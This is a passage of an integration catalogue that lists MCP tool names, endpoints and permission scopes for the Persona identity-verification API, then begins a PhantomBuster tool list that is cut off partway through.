/api/v1/persona/transactions/{transaction_id}. Scopes: transaction.write. persona_patch_verification_database_businesses_by_verification_id (write) — Updates an existing database business verification. Can only update `initiated` verifications. via PATCH /verification/database-businesses/{verification-id} PATCH /api/v1/persona/verification/database-businesses/{verification_id}. Scopes: verification.write. persona_patch_webhooks_by_webhook_id (write) — Updates an existing Webhook. via PATCH /webhooks/{webhook-id} PATCH /api/v1/persona/webhooks/{webhook_id}. Scopes: webhook.write. persona_post_accounts (write) — Creates a new Account for your organization. via POST /accounts POST /api/v1/persona/accounts. Scopes: account.write. persona_post_accounts_by_account_id_add_relation (write) — Adds a relation from an Account to a target Account or Transaction via POST /accounts/{account-id}/add-relation POST /api/v1/persona/accounts/{account_id}/add-relation. Scopes: account.write. persona_post_accounts_by_account_id_add_tag (write) — Adds a new tag to an Account via POST /accounts/{account-id}/add-tag POST /api/v1/persona/accounts/{account_id}/add-tag. Scopes: account.write. persona_post_accounts_by_account_id_consolidate (write) — Consolidates several source Accounts' information into one target Account. Any Persona resource associated with the source Account will be transferred over to the destination Account. However, the Account's attributes will **not** be transferred. After consolidation, you can update the destination Account's attributes using the [Account update endpoint](https://docs.withpersona.com/api-reference/accounts/update-an-account). This endpoint can be used to clean up duplicate Accounts. Note: A source account can only be consolidated once. Afterwards, the source account will be archived and unable to be used moving forward - any attempts to create an inquiry attached to the source account will fail. via POST /accounts/{account-id}/consolidate POST /api/v1/persona/accounts/{account_id}/consolidate. Scopes: account.write. persona_post_accounts_by_account_id_remove_relation (write) — Removes a relation from an Account to a target Account or Transaction. via POST /accounts/{account-id}/remove-relation POST /api/v1/persona/accounts/{account_id}/remove-relation. Scopes: account.write. persona_post_accounts_by_account_id_remove_tag (write) — Removes an existing tag from an Account via POST /accounts/{account-id}/remove-tag POST /api/v1/persona/accounts/{account_id}/remove-tag. Scopes: account.write. persona_post_accounts_by_account_id_run_action (write) — Triggers an account action for the specified account via POST /accounts/{account-id}/run-action POST /api/v1/persona/accounts/{account_id}/run-action. Scopes: account.write. persona_post_accounts_by_account_id_set_tags (write) — Sets all tags on an Account. Any tags that are not provided in the request will be removed. via POST /accounts/{account-id}/set-tags POST /api/v1/persona/accounts/{account_id}/set-tags. Scopes: account.write. persona_post_accounts_search (write) — Search for accounts using a flexible query language. ## Search vs. List Endpoints The Search and List endpoints serve different purposes and have distinct performance characteristics. Use the **Search** endpoint (`POST /accounts/search`) when you need to perform complex queries with boolean logic (AND/OR/NOT), filter by custom fields or identifiers, or apply multiple conditions simultaneously. Search is optimized for flexible querying and is faster than paginating through all resources when looking for specific records. Use the **List** endpoint (`GET /accounts`) for simple listing with basic filters like reference ID. ## Data Freshness Do not use search for read-after-write flows because the data will not be immediately available to search. Under normal operating conditions, data is searchable within approximately 1 minute of creation or modification. Propagation of new or updated data could be delayed during an outage. For workflows that require immediate data availability after creating or updating an account, use the List Accounts endpoint instead. ### Searchable Attributes The following attributes can be used in query predicates: | Attribute | Description | |-----------|-------------| | `type` | Account type (e.g., `acttp_ABC123`) | | `status` | Account status (e.g., `actst_ABC123`) | | `created_at` | Account creation timestamp | | `updated_at` | Account last updated timestamp | | `identifiers.*` | Custom identifier (e.g., `identifiers.user_id`) | | `fields.*` | Custom account field (e.g., `fields.age`) | **Note:** Custom fields (`fields.*`) must be configured as searchable on the Account Type to be queryable. via POST /accounts/search POST /api/v1/persona/accounts/search. Scopes: account.write. persona_post_api_keys (write) — Creates a new API key with response defaults and permissions. via POST /api-keys POST /api/v1/persona/api-keys. Scopes: api_key.write. persona_post_api_keys_by_api_key_id_clone (write) — Creates a copy of an existing API key. All attributes except the value are copied over to the new API key. via POST /api-keys/{api-key-id}/clone POST /api/v1/persona/api-keys/{api_key_id}/clone. Scopes: api_key.write. persona_post_api_keys_by_api_key_id_expire (write) — Deactivates an API key within some time period via POST /api-keys/{api-key-id}/expire POST /api/v1/persona/api-keys/{api_key_id}/expire. Scopes: api_key.write. persona_post_cases (write) — Creates a new case in your organization. via POST /cases POST /api/v1/persona/cases. Scopes: case.write. persona_post_cases_by_case_id_add_objects (write) — Adds Persona objects (such as inquiries, accounts, or reports) to a Case via POST /cases/{case-id}/add-objects POST /api/v1/persona/cases/{case_id}/add-objects. Scopes: case.write. persona_post_cases_by_case_id_add_tag (write) — Adds a new tag to a Case via POST /cases/{case-id}/add-tag POST /api/v1/persona/cases/{case_id}/add-tag. Scopes: case.write. persona_post_cases_by_case_id_assign (write) — Assigns a Case to a Persona user. via POST /cases/{case-id}/assign POST /api/v1/persona/cases/{case_id}/assign. Scopes: case.write. persona_post_cases_by_case_id_remove_objects (write) — Removes Persona objects (such as inquiries, accounts, or reports) from a Case. This operation is idempotent — removing an object that is not attached succeeds without modifying the case. via POST /cases/{case-id}/remove-objects POST /api/v1/persona/cases/{case_id}/remove-objects. Scopes: case.write. persona_post_cases_by_case_id_remove_tag (write) — Removes an existing tag from a Case via POST /cases/{case-id}/remove-tag POST /api/v1/persona/cases/{case_id}/remove-tag. Scopes: case.write. persona_post_cases_by_case_id_set_status (write) — Sets the status of a Case. via POST /cases/{case-id}/set-status POST /api/v1/persona/cases/{case_id}/set-status. Scopes: case.write. persona_post_cases_by_case_id_set_tags (write) — Sets all tags on a Case. Any tags that are not provided in the request will be removed. via POST /cases/{case-id}/set-tags POST /api/v1/persona/cases/{case_id}/set-tags. Scopes: case.write. persona_post_cases_search (write) — Search for cases using a flexible query language. ## Search vs. List Endpoints The Search and List endpoints serve different purposes and have distinct performance characteristics. Use the **Search** endpoint (`POST /cases/search`) when you need to perform complex queries with boolean logic (AND/OR/NOT), filter by custom fields, assignee, case queue, or SLA expiration, or apply multiple conditions simultaneously. Search is optimized for flexible querying and is faster than paginating through all resources when looking for specific records. Use the **List** endpoint (`GET /cases`) for simple listing with basic filters like status, case template, account, inquiry, or report. ## Data Freshness Do not use search for read-after-write flows because the data will not be immediately available to search. Under normal operating conditions, data is searchable within approximately 1 minute of creation or modification. Propagation of new or updated data could be delayed during an outage. For workflows that require immediate data availability after creating or updating a case, use the List Cases endpoint instead. ### Searchable Attributes The following attributes can be used in query predicates: | Attribute | Description | |-----------|-------------| | `template` | Case template (e.g., `ctmpl_ABC123`) | | `status` | Case status (e.g., `open`, `pending`, `resolved`) | | `state` | Case state | | `created_at` | Case creation timestamp | | `updated_at` | Case last updated timestamp | | `resolved_at` | Case resolution timestamp | | `sla_expires_at` | SLA expiration timestamp | | `assignee` | Assigned user (e.g., `user_ABC123`) | | `case_queue` | Case queue (e.g., `cqueue_ABC123`) | | `resolver` | Resolver user | | `fields.*` | Custom case field (e.g., `fields.priority`) | **Note:** Custom fields (`fields.*`) must be configured as searchable on the Case Template to be queryable. via POST /cases/search POST /api/v1/persona/cases/search. Scopes: case.write. persona_post_connect_connections (write) — Creates a new Connection from your organization to a destination organization in the `pending` state. The destination organization must accept the connection before it transitions to `active`; share tokens cannot be redeemed through the connection until then. Connections cannot be deleted, but they can be deactivated and later reactivated to control access. via POST /connect/connections POST /api/v1/persona/connect/connections. Scopes: connect.write. persona_post_connect_connections_by_connection_id_deactivate (write) — Deactivates a Connection. Either the source or destination organization may deactivate a connection that is currently `pending` or `active`. Deactivation prevents further access through the connection but maintains the connection record. Connections that are already `inactive` cannot be deactivated again. via POST /connect/connections/{connection-id}/deactivate POST /api/v1/persona/connect/connections/{persona_connection_id}/deactivate. Scopes: connect.write. persona_post_connect_connections_by_connection_id_reactivate (write) — Reactivates an inactive Connection, returning it to the `pending` state. Only the source organization can reactivate a connection. Once reactivated, the destination organization must accept the connection again before it returns to the `active` state. Only inactive connections can be reactivated. via POST /connect/connections/{connection-id}/reactivate POST /api/v1/persona/connect/connections/{persona_connection_id}/reactivate. Scopes: connect.write. persona_post_connect_share_tokens (write) — Creates a new Share Token with the specified connection and source. Share Tokens can be created from Accounts, Inquiries, Transactions, or Verifications. via POST /connect/share-tokens POST /api/v1/persona/connect/share-tokens. Scopes: connect.write. persona_post_connect_share_tokens_by_share_token_id_expire (write) — Expires a Share Token, setting its status to expired and preventing further use. via POST /connect/share-tokens/{share-token-id}/expire POST /api/v1/persona/connect/share-tokens/{share_token_id}/expire. Scopes: connect.write. persona_post_connect_share_tokens_by_share_token_id_redeem (write) — Initiates redemption of a Share Token in one of two modes: - **Clone:** Omit `data.attributes.destination-id` to create a new object from the source. Inquiry and Verification Share Tokens can be cloned. - **Hydrate:** Provide `data.attributes.destination-id` to import source data into an existing object. Account, Transaction, and Inquiry Share Tokens can hydrate an existing Account, Transaction, or Inquiry. Redemption is asynchronous. A successful request returns the Share Token with a `pending` status while Persona processes the import. via POST /connect/share-tokens/{share-token-id}/redeem POST /api/v1/persona/connect/share-tokens/{share_token_id}/redeem. Scopes: connect.write. persona_post_graph_queries (write) — Create a Graph Query via POST /graph-queries POST /api/v1/persona/graph-queries. Scopes: graph_query.write. persona_post_inquiries (write) — Creates a new inquiry with optional pre-filled attributes. See [Sessions](https://docs.withpersona.com/inquiry-sessions) for how to continue the inquiry in [Embedded Flow](https://docs.withpersona.com/embedded-flow) or [Hosted Flow](https://docs.withpersona.com/hosted-flow). via POST /inquiries POST /api/v1/persona/inquiries. Scopes: inquiry.write. persona_post_inquiries_by_inquiry_id_add_tag (write) — Adds a new tag to an Inquiry. via POST /inquiries/{inquiry-id}/add-tag POST /api/v1/persona/inquiries/{inquiry_id}/add-tag. Scopes: inquiry.write. persona_post_inquiries_by_inquiry_id_approve (write) — Approves an Inquiry. Note that this action will trigger any associated workflows and webhooks. Approving an inquiry will prevent further progress on the inquiry. via POST /inquiries/{inquiry-id}/approve POST /api/v1/persona/inquiries/{inquiry_id}/approve. Scopes: inquiry.write. persona_post_inquiries_by_inquiry_id_decline (write) — Declines an Inquiry. Note that this action will trigger any associated workflows and webhooks. Declining an inquiry will prevent further progress on the inquiry. via POST /inquiries/{inquiry-id}/decline POST /api/v1/persona/inquiries/{inquiry_id}/decline. Scopes: inquiry.write. persona_post_inquiries_by_inquiry_id_expire (write) — Expires an Inquiry and all sessions on the Inquiry. Cancels any pending Verifications on the inquiry. The Inquiry can still be resumed after expiry. via POST /inquiries/{inquiry-id}/expire POST /api/v1/persona/inquiries/{inquiry_id}/expire. Scopes: inquiry.write. persona_post_inquiries_by_inquiry_id_generate_one_time_link (write) — Creates a new inquiry session and returns `meta.one-time-link`. via POST /inquiries/{inquiry-id}/generate-one-time-link POST /api/v1/persona/inquiries/{inquiry_id}/generate-one-time-link. Scopes: inquiry.write. persona_post_inquiries_by_inquiry_id_mark_for_review (write) — Marks an Inquiry for manual review. Inquiries that are already approved or declined cannot be marked for review. Note that this action will trigger any associated workflows and webhooks. Marking an inquiry for review will prevent further progress on the inquiry. via POST /inquiries/{inquiry-id}/mark-for-review POST /api/v1/persona/inquiries/{inquiry_id}/mark-for-review. Scopes: inquiry.write. persona_post_inquiries_by_inquiry_id_perform_simulate_actions (write) — Performs a series of simulated actions on a Sandbox Inquiry. via POST /inquiries/{inquiry-id}/perform-simulate-actions POST /api/v1/persona/inquiries/{inquiry_id}/perform-simulate-actions. Scopes: inquiry.write. persona_post_inquiries_by_inquiry_id_remove_tag (write) — Removes an existing tag from an Inquiry. via POST /inquiries/{inquiry-id}/remove-tag POST /api/v1/persona/inquiries/{inquiry_id}/remove-tag. Scopes: inquiry.write. persona_post_inquiries_by_inquiry_id_resume (write) — Creates a session token that is returned as `meta.session-token`. If the inquiry's status is `expired`, changes the status to `pending`. The `session-token` must be included when loading the inquiry flow if the inquiry's status is `pending`. This endpoint will error if the inquiry is redacted. This endpoint first tries to reuse any existing valid unused [sessions](https://docs.withpersona.com/inquiry-sessions). If none exist, a new session is created. For more information, see [Resuming Inquiries](https://docs.withpersona.com/resuming-inquiries). via POST /inquiries/{inquiry-id}/resume POST /api/v1/persona/inquiries/{inquiry_id}/resume. Scopes: inquiry.write. persona_post_inquiries_by_inquiry_id_set_tags (write) — Sets all tags on an Inquiry. Any tags that are not provided in the request will be removed. via POST /inquiries/{inquiry-id}/set-tags POST /api/v1/persona/inquiries/{inquiry_id}/set-tags. Scopes: inquiry.write. persona_post_inquiries_search (write) — Search for inquiries using a flexible query language. ## Search vs. List Endpoints The Search and List endpoints serve different purposes and have distinct performance characteristics. Use the **Search** endpoint (`POST /inquiries/search`) when you need to perform complex queries with boolean logic (AND/OR/NOT), filter on multiple statuses simultaneously, or apply multiple conditions at once. Search is optimized for flexible querying and is faster than paginating through all resources when looking for specific records. Use the **List** endpoint (`GET /inquiries`) for simple listing with basic filters like reference ID. ## Data Freshness Do not use search for read-after-write flows because the data will not be immediately available to search. Under normal operating conditions, data is searchable within approximately 1 minute of creation or modification. Propagation of new or updated data could be delayed during an outage. For workflows that require immediate data availability after creating or updating an inquiry, use the List Inquiries endpoint instead. ### Searchable Attributes The following attributes can be used in query predicates: | Attribute | Description | |-----------|-------------| | `status` | Inquiry status (e.g., `pending`, `completed`, `approved`, `declined`) | | `created_at` | Inquiry creation timestamp | | `updated_at` | Inquiry last updated timestamp | | `reference_id` | Reference ID associated with the inquiry's account | | `inquiry_template_id` | Inquiry template ID (e.g., `itmpl_ABC123`) | via POST /inquiries/search POST /api/v1/persona/inquiries/search. Scopes: inquiry.write. persona_post_inquiry_sessions (write) — Creates a new Inquiry Session. By default, we only allow up to 25 sessions per Inquiry. via POST /inquiry-sessions POST /api/v1/persona/inquiry-sessions. Scopes: inquiry_session.write. persona_post_inquiry_sessions_by_inquiry_session_id_expire (write) — Expires a specific Inquiry Session. via POST /inquiry-sessions/{inquiry-session-id}/expire POST /api/v1/persona/inquiry-sessions/{inquiry_session_id}/expire. Scopes: inquiry_session.write. persona_post_inquiry_sessions_by_inquiry_session_id_generate_one_time_link (write) — Generates a one-time link for a specific Inquiry Session. via POST /inquiry-sessions/{inquiry-session-id}/generate-one-time-link POST /api/v1/persona/inquiry-sessions/{inquiry_session_id}/generate-one-time-link. Scopes: inquiry_session.write. persona_post_inquiry_sessions_expire_all (write) — Expires all active Inquiry Sessions for a given set of Inquiries. via POST /inquiry-sessions/expire-all POST /api/v1/persona/inquiry-sessions/expire-all. Scopes: inquiry_session.write. persona_post_inquiry_templates_by_inquiry_template_id_translations (write) — Imports translations for an Inquiry Template. Supports partial updates — translation rows not included in the request body are left unchanged. If a draft version already exists, translations are applied to it. If no draft exists, a new draft is created from the latest published version before importing. The draft is never automatically published — publishing is always a manual step in the dashboard. Note: You must use a production API key to access this endpoint. For security reasons, we do not expose organization-level resources like Inquiry Templates in Sandbox via API. via POST /inquiry-templates/{inquiry-template-id}/translations POST /api/v1/persona/inquiry-templates/{inquiry_template_id}/translations. Scopes: inquiry_template.write. persona_post_list_browser_fingerprints (write) — Create a new list for your organization. via POST /list/browser-fingerprints POST /api/v1/persona/list/browser-fingerprints. Scopes: list.write. persona_post_list_countries (write) — Create a new list for your organization. via POST /list/countries POST /api/v1/persona/list/countries. Scopes: list.write. persona_post_list_email_addresses (write) — Create a new list for your organization. via POST /list/email-addresses POST /api/v1/persona/list/email-addresses. Scopes: list.write. persona_post_list_geolocations (write) — Create a new list for your organization. via POST /list/geolocations POST /api/v1/persona/list/geolocations. Scopes: list.write. persona_post_list_government_id_numbers (write) — Create a new list for your organization. via POST /list/government-id-numbers POST /api/v1/persona/list/government-id-numbers. Scopes: list.write. persona_post_list_ip_addresses (write) — Create a new list for your organization. via POST /list/ip-addresses POST /api/v1/persona/list/ip-addresses. Scopes: list.write. persona_post_list_item_browser_fingerprints (write) — Create a new item in a list. via POST /list-item/browser-fingerprints POST /api/v1/persona/list-item/browser-fingerprints. Scopes: list.write. persona_post_list_item_countries (write) — Create a new item in a list. via POST /list-item/countries POST /api/v1/persona/list-item/countries. Scopes: list.write. persona_post_list_item_device_fingerprints (write) — Create a new item in a list. via POST /list-item/device-fingerprints POST /api/v1/persona/list-item/device-fingerprints. Scopes: list.write. persona_post_list_item_email_addresses (write) — Create a new item in a list. via POST /list-item/email-addresses POST /api/v1/persona/list-item/email-addresses. Scopes: list.write. persona_post_list_item_fields (write) — Create a new item in a list. via POST /list-item/fields POST /api/v1/persona/list-item/fields. Scopes: list.write. persona_post_list_item_geolocations (write) — Create a new item in a list. via POST /list-item/geolocations POST /api/v1/persona/list-item/geolocations. Scopes: list.write. persona_post_list_item_government_id_numbers (write) — Create a new item in a list. via POST /list-item/government-id-numbers POST /api/v1/persona/list-item/government-id-numbers. Scopes: list.write. persona_post_list_item_ip_addresses (write) — Create a new item in a list. via POST /list-item/ip-addresses POST /api/v1/persona/list-item/ip-addresses. Scopes: list.write. persona_post_list_item_names (write) — Create a new item in a list. via POST /list-item/names POST /api/v1/persona/list-item/names. Scopes: list.write. persona_post_list_item_phone_numbers (write) — Create a new item in a list. via POST /list-item/phone-numbers POST /api/v1/persona/list-item/phone-numbers. Scopes: list.write. persona_post_list_item_strings (write) — Create a new item in a list. via POST /list-item/strings POST /api/v1/persona/list-item/strings. Scopes: list.write. persona_post_list_names (write) — Create a new list for your organization. via POST /list/names POST /api/v1/persona/list/names. Scopes: list.write. persona_post_list_phone_numbers (write) — Create a new list for your organization. via POST /list/phone-numbers POST /api/v1/persona/list/phone-numbers. Scopes: list.write. persona_post_list_strings (write) — Create a new list for your organization. via POST /list/strings POST /api/v1/persona/list/strings. Scopes: list.write. persona_post_oauth_authorize (write) — Authorizes another Organization to access your Inquiry, Verifications, or other Persona resources. via POST /oauth/authorize POST /api/v1/persona/oauth/authorize. Scopes: oauth.write. persona_post_oauth_token (write) — Exchange a credential for an access token. Supports two grant types: - `authorization_code`: Exchange an authorization code for an access token (cross-org data sharing). - `client_credentials`: Exchange a signed JWT assertion (`private_key_jwt`) for a short-lived access token (machine-to-machine auth, RFC 7523). via POST /oauth/token POST /api/v1/persona/oauth/token. Scopes: oauth.write. persona_post_privacy_passes (write) — Issues a Privacy Pass token by blind-signing a client-provided blinded token (Blind RSA, RFC 9578). The returned blind signature is unblinded client-side to produce a Privacy Pass token that can later be redeemed anonymously (for example, when generating a Relay claim). via POST /privacy-passes POST /api/v1/persona/privacy-passes. Scopes: privacy_pass.write. persona_post_relays (write) — Creates a new Relay. via POST /relays POST /api/v1/persona/relays. Scopes: relay.write. persona_post_relays_challenge (write) — Requests a Privacy Pass challenge for a claim type. The challenge materials returned here are used to obtain a Privacy Pass token, which is then redeemable to read claims from Relays with the same claim type. via POST /relays/challenge POST /api/v1/persona/relays/challenge. Scopes: relay.write. persona_post_reports (write) — Creates a new Report of any type. via POST /reports POST /api/v1/persona/reports. Scopes: report.write. persona_post_reports_by_report_id_add_tag (write) — Adds a new tag to the Report via POST /reports/{report-id}/add-tag POST /api/v1/persona/reports/{report_id}/add-tag. Scopes: report.write. persona_post_reports_by_report_id_dismiss (write) — Dismisses active matches for supported report types via POST /reports/{report-id}/dismiss POST /api/v1/persona/reports/{report_id}/dismiss. Scopes: report.write. persona_post_reports_by_report_id_pause (write) — Pauses continuous monitoring on a report. Requires additional permissions. via POST /reports/{report-id}/pause POST /api/v1/persona/reports/{report_id}/pause. Scopes: report.write. persona_post_reports_by_report_id_remove_tag (write) — Removes an existing tag from a Report. via POST /reports/{report-id}/remove-tag POST /api/v1/persona/reports/{report_id}/remove-tag. Scopes: report.write. persona_post_reports_by_report_id_resume (write) — Resumes continuous monitoring on paused report. Requires additional permissions. via POST /reports/{report-id}/resume POST /api/v1/persona/reports/{report_id}/resume. Scopes: report.write. persona_post_reports_by_report_id_run (write) — Re-runs a continuously monitored report immediately, outside of its existing recurrence schedule. via POST /reports/{report-id}/run POST /api/v1/persona/reports/{report_id}/run. Scopes: report.write. persona_post_reports_by_report_id_set_tags (write) — Sets all tags on a Report. Any tags that are not provided in the request will be removed. via POST /reports/{report-id}/set-tags POST /api/v1/persona/reports/{report_id}/set-tags. Scopes: report.write. persona_post_theme_sets (write) — Creates a new theme set. The `data` attribute carries the nested theme tree (`settings` / `light` / `dark`) — the same shape as the Code-First theme-set YAML. Style cells that are not supported are rejected with a 400 naming each offending path. via POST /theme-sets POST /api/v1/persona/theme-sets. Scopes: theme_set.write. persona_post_transactions (write) — Creates a new Transaction for a specific transaction type in your organization. via POST /transactions POST /api/v1/persona/transactions. Scopes: transaction.write. persona_post_transactions_by_transaction_id_add_relation (write) — Adds a relation between this Transaction and a target Account or Transaction using a relation schema key. No effect if the relation already exists. via POST /transactions/{transaction-id}/add-relation POST /api/v1/persona/transactions/{transaction_id}/add-relation. Scopes: transaction.write. persona_post_transactions_by_transaction_id_add_tag (write) — Adds a tag to a Transaction. Create a new tag if the tag does not already exist. No effect if the transaction already has the tag. via POST /transactions/{transaction-id}/add-tag POST /api/v1/persona/transactions/{transaction_id}/add-tag. Scopes: transaction.write. persona_post_transactions_by_transaction_id_label (write) — Create a new label for an existing Transaction. via POST /transactions/{transaction-id}/label POST /api/v1/persona/transactions/{transaction_id}/label. Scopes: transaction.write. persona_post_transactions_by_transaction_id_redact_biometrics (write, destructive) — Permanently deletes biometric data for a Transaction AND all its associated objects. **This action cannot be undone**. via POST /transactions/{transaction-id}/redact-biometrics POST /api/v1/persona/transactions/{transaction_id}/redact-biometrics. Scopes: transaction.write. persona_post_transactions_by_transaction_id_remove_relation (write) — Removes a relation between this Transaction and a target Account or Transaction. No effect if the relation does not exist. via POST /transactions/{transaction-id}/remove-relation POST /api/v1/persona/transactions/{transaction_id}/remove-relation. Scopes: transaction.write. persona_post_transactions_by_transaction_id_remove_tag (write) — Remove a tag from a transaction. No effect if the transaction does not have the tag. via POST /transactions/{transaction-id}/remove-tag POST /api/v1/persona/transactions/{transaction_id}/remove-tag. Scopes: transaction.write. persona_post_transactions_by_transaction_id_set_tags (write) — Set the list of tags on a transaction. Remove all tags on the transaction that don't appear on the list. Add all tags on the transaction from the list. via POST /transactions/{transaction-id}/set-tags POST /api/v1/persona/transactions/{transaction_id}/set-tags. Scopes: transaction.write. persona_post_verification_database_businesses (write) — Create a new database business verification via POST /verification/database-businesses POST /api/v1/persona/verification/database-businesses. Scopes: verification.write. persona_post_verification_database_businesses_by_verification_id_submit (write) — Submit a database business verification for processing. Can only submit `initiated` verifications via POST /verification/database-businesses/{verification-id}/submit POST /api/v1/persona/verification/database-businesses/{verification_id}/submit. Scopes: verification.write. persona_post_verifications_by_verification_id_investigation_lock (write) — Locks a Verification from redaction while it is under investigation. While locked, redaction requests for the Verification will be rejected. via POST /verifications/{verification-id}/investigation-lock POST /api/v1/persona/verifications/{verification_id}/investigation-lock. Scopes: verification.write. persona_post_verifications_by_verification_id_investigation_unlock (write) — Unlocks a Verification that was previously locked from redaction during an investigation. via POST /verifications/{verification-id}/investigation-unlock POST /api/v1/persona/verifications/{verification_id}/investigation-unlock. Scopes: verification.write. persona_post_webhook_events_search (write) — Search for webhook events using a flexible query language. Webhook events are the individual delivery records for your webhooks — one per event, per webhook. Use this endpoint to find events (for example, all `failed` deliveries for a given webhook in a time window) before re-running them. ## Data Freshness Do not use search for read-after-write flows because the data will not be immediately available to search. Under normal operating conditions, data is searchable within approximately 1 minute of creation or modification. Propagation could be delayed during an outage. ## Retention Webhook events are retained for a limited window. Searches are automatically bounded to that window, so events older than the retention period are not returned even if requested. ### Searchable Attributes The following attributes can be used in query predicates: | Attribute | Description | |-----------|-------------| | `updated_at` | Timestamp the event was last updated (i.e. last delivery attempt). Supports `eq`, `gt`, `gte`, `lt`, `lte`. | | `status` | Delivery status: `pending`, `completed`, `failed`, or `skipped`. | | `webhook_id` | Webhook token (e.g. `wbh_ABC123`). | | `event_id` | Event token the webhook event was created from (e.g. `evt_ABC123`). | | `event_name` | Event name (e.g. `inquiry.completed`). | | `webhook_event_id` | Webhook event token (e.g. `wbhe_ABC123`). | | `related_object_ids` | A related object token contained in the event payload. | All attributes other than `updated_at` support only the `eq` operator. via POST /webhook-events/search POST /api/v1/persona/webhook-events/search. Scopes: webhook.write. persona_post_webhooks (write) — Creates a new webhook with response defaults. via POST /webhooks POST /api/v1/persona/webhooks. Scopes: webhook.write. persona_post_webhooks_by_webhook_id_archive (write) — Archives a webhook. via POST /webhooks/{webhook-id}/archive POST /api/v1/persona/webhooks/{webhook_id}/archive. Scopes: webhook.write. persona_post_webhooks_by_webhook_id_clone (write) — Creates a copy of an existing webhook. All attributes except the secret are copied over to the new webhook. via POST /webhooks/{webhook-id}/clone POST /api/v1/persona/webhooks/{webhook_id}/clone. Scopes: webhook.write. persona_post_webhooks_by_webhook_id_disable (write) — Disables a webhook. via POST /webhooks/{webhook-id}/disable POST /api/v1/persona/webhooks/{webhook_id}/disable. Scopes: webhook.write. persona_post_webhooks_by_webhook_id_enable (write) — Enables a webhook. via POST /webhooks/{webhook-id}/enable POST /api/v1/persona/webhooks/{webhook_id}/enable. Scopes: webhook.write. persona_post_webhooks_by_webhook_id_rotate_secret (write) — Rotates a webhook's secret. via POST /webhooks/{webhook-id}/rotate-secret POST /api/v1/persona/webhooks/{webhook_id}/rotate-secret. Scopes: webhook.write. persona_post_workflows_by_workflow_id_trigger (write) — Creates a new Workflow Run. Note: The payload is arbitrary and defined by the Workflow version trigger schema. via POST /workflows/{workflow-id}/trigger POST /api/v1/persona/workflows/{workflow_id}/trigger. Scopes: workflow.write. ================================================================================ ## PhantomBuster URL: https://www.agenticfabriq.com/integrations/phantombuster Section: Integrated Tools PhantomBuster — 68 MCP tools Provider key: phantombuster. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. phantombuster_get_agents_fetch (read) — Gets an agent by id. via GET /agents/fetch GET /api/v1/phantombuster/agents/fetch. Scopes: api. phantombuster_get_agents_fetch_all (read) — Gets all agents of the current user's organization. via GET /agents/fetch-all GET /api/v1/phantombuster/agents/fetch-all. Scopes: api. phantombuster_get_agents_fetch_deleted (read) — Gets all deleted agents of the current user's organization. via GET /agents/fetch-deleted GET /api/v1/phantombuster/agents/fetch-deleted. Scopes: api. phantombuster_get_agents_fetch_output (read) — Gets the output of the most recent container of an agent. This API endpoint is specifically designed so that it's easy to get incremental data from an agent. via GET /agents/fetch-output GET /api/v1/phantombuster/agents/fetch-output. Scopes: api. phantombuster_get_branches_diff (read) — Gets the length difference between the staging and release branch of all scripts. via GET /branches/diff GET /api/v1/phantombuster/branches/diff. Scopes: api. phantombuster_get_branches_fetch_all (read) — Gets the branches associated with the current organization's id. via GET /branches/fetch-all GET /api/v1/phantombuster/branches/fetch-all. Scopes: api. phantombuster_get_brightdata_serp (read) — Perform a search using brightdata. via GET /brightdata/serp GET /api/v1/phantombuster/brightdata/serp. Scopes: api. phantombuster_get_buyers_personas_fetch_all (read) — Fetch all buyer personas for an org. via GET /buyers-personas/fetch-all GET /api/v1/phantombuster/buyers-personas/fetch-all. Scopes: api. phantombuster_get_containers_fetch (read) — Gets a container by id. via GET /containers/fetch GET /api/v1/phantombuster/containers/fetch. Scopes: api. phantombuster_get_containers_fetch_all (read) — Gets all containers associated to a specified agent. via GET /containers/fetch-all GET /api/v1/phantombuster/containers/fetch-all. Scopes: api. phantombuster_get_containers_fetch_output (read) — Gets the output of a container. via GET /containers/fetch-output GET /api/v1/phantombuster/containers/fetch-output. Scopes: api. phantombuster_get_containers_fetch_result_object (read) — Gets the result object associated with a container. via GET /containers/fetch-result-object GET /api/v1/phantombuster/containers/fetch-result-object. Scopes: api. phantombuster_get_icps_fetch_all (read) — Fetch all ICPs for an org. via GET /icps/fetch-all GET /api/v1/phantombuster/icps/fetch-all. Scopes: api. phantombuster_get_location_ip (read) — Retrieves the country of the IP address. via GET /location/ip GET /api/v1/phantombuster/location/ip. Scopes: api. phantombuster_get_org_storage_lists_fetch (read) — Get one list by ID - Beta. via GET /org-storage/lists/fetch GET /api/v1/phantombuster/org-storage/lists/fetch. Scopes: api. phantombuster_get_org_storage_lists_fetch_all (read) — Get all the lists - Beta. via GET /org-storage/lists/fetch-all GET /api/v1/phantombuster/org-storage/lists/fetch-all. Scopes: api. phantombuster_get_orgs_export_agent_usage (read) — Gets a csv file containing agent usage info of the current user's organization. via GET /orgs/export-agent-usage GET /api/v1/phantombuster/orgs/export-agent-usage. Scopes: api. phantombuster_get_orgs_export_container_usage (read) — Gets a csv file containing container usage info of the current user's organization. via GET /orgs/export-container-usage GET /api/v1/phantombuster/orgs/export-container-usage. Scopes: api. phantombuster_get_orgs_fetch (read) — Gets the current organization. via GET /orgs/fetch GET /api/v1/phantombuster/orgs/fetch. Scopes: api. phantombuster_get_orgs_fetch_agent_groups (read) — Gets the agent groups and order of the current user's organization. via GET /orgs/fetch-agent-groups GET /api/v1/phantombuster/orgs/fetch-agent-groups. Scopes: api. phantombuster_get_orgs_fetch_crm_access (read) — Get the organization's CRM access to be able to fetch CRM resources. via GET /orgs/fetch-crm-access GET /api/v1/phantombuster/orgs/fetch-crm-access. Scopes: api. phantombuster_get_orgs_fetch_crm_resources (read) — Gets the current organization's CRM requested resources. via GET /orgs/fetch-crm-resources GET /api/v1/phantombuster/orgs/fetch-crm-resources. Scopes: api. phantombuster_get_orgs_fetch_resources (read) — Gets the current organization's resources and usage. via GET /orgs/fetch-resources GET /api/v1/phantombuster/orgs/fetch-resources. Scopes: api. phantombuster_get_orgs_fetch_running_containers (read) — Gets the current organization's running containers. via GET /orgs/fetch-running-containers GET /api/v1/phantombuster/orgs/fetch-running-containers. Scopes: api. phantombuster_get_scoring_fetch_by_id (read) — Fetch a single scoring definition by id. via GET /scoring/fetch/{id} GET 